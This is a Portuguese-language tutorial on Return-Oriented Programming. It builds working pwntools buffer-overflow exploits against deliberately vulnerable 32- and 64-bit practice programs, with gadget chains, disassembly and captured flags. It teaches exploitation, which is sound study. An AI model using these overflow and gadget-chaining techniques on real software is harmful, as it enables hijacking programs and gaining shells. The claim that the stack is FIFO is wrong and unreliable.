Return-Oriented Programming

O que é ROP

O ROP é um exploit útil para burlar a proteção NX. Sua base consiste em encadear pequenos pedaços de códigos já presentes no programa de forma que eles façam o que você deseja. Isto frequentemente envolve passar parâmetros para funções presentes dentro da libc, como a system, que se você encontrar a localização de um comando como cat flag.txt e passar como parâmetro, a system irá executar o comando e irá retornar o output. O comando mais perigoso é o /bin/sh, que se executado pela system, dá ao atacante acesso ao shell.

Funcionamento da Stack, e instrução LEAVE, RET e Gadgets

Stack

A pilha é uma região de memória, com funcionamento FIFO, responsável por armazenar diversas informações importantes para o programa. Uma dessas informações é o gerenciamento de funções.

Quando o código está sendo executado, ele segue instruções que estão em sequência, porém quando uma função é chamada, o programa deve desviar seu fluxo de execução para executar as instruções da função. Por causa disso, é necessário salvar o endereço da instrução que vem após a chamada da função, para que o programa, ao encerra-lá, possa retornar ao seu fluxo normal. E é na pilha que esse endereço é salvo, por isso sempre quando uma função é chamada, o topo da pilha é o endereço de retorno dela.

Nota: Toda função tem instruções para iniciar um segmento de pilha para elas, e encerrar esse segmento. As instruções que iniciam um segmento de pilha são conhecidas como prólogo da função, e essas instruções são: push rbp e mov rbp, rsp. Isso salva a base do segmento de pilha da função anterior (note que o endereço de retorno estará sempre após o antigo RBP), e move o RBP para o RSP para fazer ali ser a nova base.

As instruções que encerram o segmento são: mov rsp, rbp e pop rbp. Isso restaura a posição normal do topo da pilha, e em seguida retira o RBP salvo, para restaurar a antiga base do segmento.

LEAVE

A instrução LEAVE nada mais é do que as instruções que encerram o segmento da pilha para a função onde ele está sendo executado.

RET

A instrução ret nada mais é do que pop rip e jmp rip, ou seja, ela tira o endereço de retorno da pilha e pula para lá. Então imagine a seguinte sequência de códigos:

Endereço  Opcode  leave
Endereço  Opcode  ret

Antes de executar a instrução leave a pilha estará de seguinte forma:

Antes da LEAVE

Após a execução da instrução leave, o registrador rsp será movido e incrementado (instrução pop) e passará a apontar para o endereço de retorno, e após a instrução ret ser executada o rsp também será incrementado, mas o endereço estará salvo em rip, fazendo com que a pilha fique da seguinte maneira:

Depois da RET

Gadgets

Os gadgets nada mais são do que pequenos trechos de códigos que terminam com uma instrução ret, por exemplo pop rdi; ret. A importância desses gadgets é que todos eles já estão presentes dentro do código, e todos possuem um endereço, dessa forma é possível sobrescrever a pilha para que o endereço de retorno seja um gadget e as posições em sequência sejam os valores. Imagine o seguinte gadget e a pilha:

Endereço1 Opcode pop edi
Endereço2 Opcode pop edx
Endereço3 Opcode ret
Pilha normal

Com isso nós queremos chamar uma função que recebe um parâmetro via o registrador edi. Para isso é necessário sobrescrever o valor de retorno para o endereço do gadget, no caso Endereço1, e em seguida informar os valores para cada operação do gadget, fazendo com que a pilha fique praticamente assim:

image

Nota: É possível continuar sobrescrevendo a pilha colocando mais gadgets e valores. Isso consiste o exploit ROP, encadear pequenos pedaços de códigos.

Chamadas de funções

Como visto no exemplo anterior o parâmetro foi passado via registrador, mas isso funciona somente para programas 64-bits, para programas em 32-bits é de outra forma.

32-bits

Vamos dar uma olhada no seguinte código:

ExemploParam.c
#include <stdio.h>

void vuln(int check, int check2, int check3) {
    if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {
        puts("Parâmetros corretos!");
    } else {
        puts("Parâmetros incorretos!");
    }
}

int main() {
    vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
    vuln(0xdeadc0de, 0x12345678, 0xabcdef10);
}

Podemos ver que a main apenas chama a função vuln passando os parâmetros. Vamos olhar o disasembler da main então:

pwndbg> disass main
Dump of assembler code for function main:
   0x080491bf <+0>:     lea    ecx,[esp+0x4]
   0x080491c3 <+4>:     and    esp,0xfffffff0
   0x080491c6 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080491c9 <+10>:    push   ebp
   0x080491ca <+11>:    mov    ebp,esp
   0x080491cc <+13>:    push   ecx
   0x080491cd <+14>:    sub    esp,0x4
   0x080491d0 <+17>:    call   0x804921b <__x86.get_pc_thunk.ax>
   0x080491d5 <+22>:    add    eax,0x2e2b
   0x080491da <+27>:    sub    esp,0x4
   0x080491dd <+30>:    push   0xc0ded00d
   0x080491e2 <+35>:    push   0xdeadc0de
   0x080491e7 <+40>:    push   0xdeadbeef
   0x080491ec <+45>:    call   0x8049162 <vuln>
   0x080491f1 <+50>:    add    esp,0x10
   0x080491f4 <+53>:    sub    esp,0x4
   0x080491f7 <+56>:    push   0xabcdef10
   0x080491fc <+61>:    push   0x12345678
   0x08049201 <+66>:    push   0xdeadc0de
   0x08049206 <+71>:    call   0x8049162 <vuln>
   0x0804920b <+76>:    add    esp,0x10
   0x0804920e <+79>:    mov    eax,0x0
   0x08049213 <+84>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x08049216 <+87>:    leave
   0x08049217 <+88>:    lea    esp,[ecx-0x4]
   0x0804921a <+91>:    ret
End of assembler dump.

Podemos ver que todos os parâmetros são passados por meio da pilha.

00:0000│ esp 0xffffce64 —▸ 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
01:0004│ ebp 0xffffce68 —▸ 0xffffce88 ◂— 0
02:0008│+004 0xffffce6c —▸ 0x80491f1 (main+50) ◂— add esp, 0x10
03:000c│+008 0xffffce70 ◂— 0xdeadbeef
04:0010│+00c 0xffffce74 ◂— 0xdeadc0de
05:0014│+010 0xffffce78 ◂— 0xc0ded00d
06:0018│+014 0xffffce7c —▸ 0x80491d5 (main+22) ◂— add eax, 0x2e2b
07:001c│+018 0xffffce80 ◂— 0

Podemos ver então, que o topo da pilha quando a função foi chamada é o endereço de retorno, e os valores abaixo são os parâmetros seguindo a ordem em que serão atribuídos.

Nota: O endereço de retorno da função é o endereço da próxima instrução após a call: 0x80491f1 (main+50) ◂— add esp, 0x10.

Explorando um programa 32-bits

Como exemplo para programas em 32-bits vamos fazer um exploit no seguinte código:

ExemploExploit.c
#include <stdio.h>

void vuln() {
    char buffer[40];
    puts("Dúvido que você consiga imprimir a flag pelo terminal.\n");
    gets(buffer);
}

int main() {
    vuln();
}

void flag(int check, int check2) {
    if(check == 0xdeadc0de && check2 == 0xc0ded00d) {
        puts("É, aparentemente você conseguiu.\nHawk{32_p@R3cE_Fac1L_n3}");
    }
}

Logo de cara já sabemos algumas coisas. A primeira é que os parâmetros devem ser 0xdeadc0de e 0xc0ded00d, e a segunda é que devemos escrever 40 bytes para começarmos a sobrescrever a pilha. Vamos olhar o disassembler da vuln:

pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x08049176 <+0>:     push   ebp
   0x08049177 <+1>:     mov    ebp,esp
   0x08049179 <+3>:     push   ebx
   0x0804917a <+4>:     sub    esp,0x34
   0x0804917d <+7>:     call   0x80490b0 <__x86.get_pc_thunk.bx>
   0x08049182 <+12>:    add    ebx,0x2e72
   0x08049188 <+18>:    sub    esp,0xc
   0x0804918b <+21>:    lea    eax,[ebx-0x1fec]
   0x08049191 <+27>:    push   eax
   0x08049192 <+28>:    call   0x8049050 <puts@plt>
   0x08049197 <+33>:    add    esp,0x10
   0x0804919a <+36>:    sub    esp,0xc
   0x0804919d <+39>:    lea    eax,[ebp-0x30]
   0x080491a0 <+42>:    push   eax
   0x080491a1 <+43>:    call   0x8049040 <gets@plt>
   0x080491a6 <+48>:    add    esp,0x10
   0x080491a9 <+51>:    nop
   0x080491aa <+52>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080491ad <+55>:    leave
   0x080491ae <+56>:    ret
End of assembler dump.

Interessante notar que ao invés de criar espaço somente para o buffer (40 bytes), a função cria 12 bytes adicionais. O motivo não importa neste caso, o que importa é que para chegarmos no endereço de retorno é necessário sobrescrever 52 bytes. Usando a instrução disass flag nós encontramos o endereço da função que é 0x080491cb. Agora é só montar o código.

solve32.py
from pwn import *

elf = context.binary = ELF("./ExemploExploit-32")

enderecoFlag = p32(0x080491cb)
param1 = p32(0xdeadc0de)
param2 = p32(0xc0ded00d)

p = process()

payload = b"A" * 52
payload += enderecoFlag #Sobrescrevendo o endereço de retorno
payload += p32(0x0) #O topo da pilha para uma função deve ser seu endereço de retorno
payload += param1 #O primeiro parâmetro aparece logo em seguida do endereço de retorno
payload += param2 

p.recvuntil("\n")
p.sendline(payload)
print(p.recvall().decode())

Nota: Neste caso nós escrevemos que o endereço de retorno da função flag como 0, mas seria possível alterar ele para ser algum gadget ou outra função.

Com isso foi possível obter o resultado:

É, aparentemente você conseguiu.
Hawk{32_p@R3cE_Fac1L_n3}

64-bits

Em programas de 64-bits é diferente a passada de parâmetros, aqui é por meio de registradores. Para isso vamos olhar para o mesmo código em c da seção de 32-bits só que compilado para 64-bits.

ExemploParam.c
#include <stdio.h>

void vuln(int check, int check2, int check3) {
    if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {
        puts("Parâmetros corretos!");
    } else {
        puts("Parâmetros incorretos!");
    }
}

int main() {
    vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
    vuln(0xdeadc0de, 0x12345678, 0xabcdef10);
}

Agora vamos olhar para a disassembler da função main:

pwndbg> disass main
Dump of assembler code for function main:
   0x000000000040116c <+0>:     push   rbp
   0x000000000040116d <+1>:     mov    rbp,rsp
   0x0000000000401170 <+4>:     mov    edx,0xc0ded00d
   0x0000000000401175 <+9>:     mov    esi,0xdeadc0de
   0x000000000040117a <+14>:    mov    edi,0xdeadbeef
   0x000000000040117f <+19>:    call   0x401122 <vuln>
   0x0000000000401184 <+24>:    mov    edx,0xabcdef10
   0x0000000000401189 <+29>:    mov    esi,0x12345678
   0x000000000040118e <+34>:    mov    edi,0xdeadc0de
   0x0000000000401193 <+39>:    call   0x401122 <vuln>
   0x0000000000401198 <+44>:    mov    eax,0x0
   0x000000000040119d <+49>:    pop    rbp
   0x000000000040119e <+50>:    ret
End of assembler dump.

Note que os parâmetros estão sendo passados para os registradores edi, esi, edx (podem mudar dependendo do SO).

Explorando um programa 64-bits

Para explorar um programa em 64-bits não basta apenas sobrescrever a pilha colocando os valores, aqui nós precisamos fazer uso dos gadgets para salvar os parâmetros nos registradores corretos e depois dar um return. Para isso vamos analisar o seguinte código em c:

ExemploExploit.c
#include <stdio.h>

void vuln() {
    char buffer[40];
    puts("Overflow Me");
    gets(buffer);
}

int main() {
    vuln();
}

void flag(int check, int check2) {
    if(check == 0xdeadc0de && check2 == 0xc0ded00d) {
        puts("Got it!");
    }
}

Sabemos que precisamos passar dois parâmetros para a função flag, vamos procurar gadgets para os registrados edi e esi.

ROPgadget --binary vuln-64 | grep pop
0x0000000000401169 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040116b : add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401117 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401112 : mov byte ptr [rip + 0x2f1f], 1 ; pop rbp ; ret
0x0000000000401168 : mov eax, 0 ; pop rbp ; ret
0x00000000004011f4 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011f6 : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011f8 : pop r14 ; pop r15 ; ret
0x00000000004011fa : pop r15 ; ret
0x00000000004011f3 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004011f7 : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000401119 : pop rbp ; ret
0x00000000004011fb : pop rdi ; ret
0x00000000004011f9 : pop rsi ; pop r15 ; ret
0x00000000004011f5 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

Encontramos dois bons 0x00000000004011fb : pop rdi ; ret e 0x00000000004011f9 : pop rsi ; pop r15 ; ret. Vamos olhar para a pilha da função vuln para encontrarmos quantos bytes é necessário para chegar no endereço de retorno.

00:0000│ rsp 0x7fffffffdc70 ◂— 0
... ↓        4 skipped
05:0028│-008 0x7fffffffdc98 —▸ 0x7ffff7fe6c40 (dl_main) ◂— push rbp
06:0030│ rbp 0x7fffffffdca0 —▸ 0x7fffffffdcb0 ◂— 1
07:0038│+008 0x7fffffffdca8 —▸ 0x401168 (main+14) ◂— mov eax, 0

Essa é a visão da pilha após a função criar espaço nela, para encontrarmos a quantidade necessária basta fazer EndereçoRet - RSP, que vai ser igual a 0x7fffffffdca8 - 0x7fffffffdc70 = 0x38. E usando o comando disass flag é possível encontrar o endereço da função, 0x000000000040116f. Agora é só montar o script.

solve64.py
from pwn import *

elf = context.binary = ELF("./ExemploExploit-64")

POP_RDI = p64(0x00000000004011fb)
POP_RSI_R15 = p64(0x00000000004011f9)
enderecoFlag = p64(0x000000000040116f)
param1 = p64(0xdeadc0de)
param2 = p64(0xc0ded00d)

p = process()

payload = b"A" * 56 #Sobrescrevendo
payload += POP_RDI #Retornando para o gadget pop rdi; ret
payload += param1 #Informando o valor para o rdi
payload += POP_RSI_R15 #Retornando para o gadget pop rsi; pop r15; ret
payload += param2 #Informando o valor para o rsi
payload += p64(0x0) #Informando o valor para o r15 (lixo)
payload += enderecoFlag #Retornando para a flag
payload += p64(0x0) #Endereço de retorno da flag (lixo)

p.recvuntil("Me")
p.sendline(payload)
print(p.recvall().decode())

Com isso foi possível obter o resultado:

Got it!

Processos remotos

Quando estamos usando programas em 64-bits, e o exploit funciona normalmente localmente, mas falha remotamente, é por causa de algo chamado stack alignment. Felizmente (ou não) isso pode ser facilmente corrigido colocando um gadget de ret no retorno de um pop, seguindo o seguinte exemplo:

example.py
ret = elf.address + 0x2439

[...]
rop.raw(POP_RDI)
rop.raw(0x4)        # first parameter
rop.raw(ret)        # align the stack
rop.raw(system)

Ir0nstone

Pico Cetef

RazviOverflow

Atualizado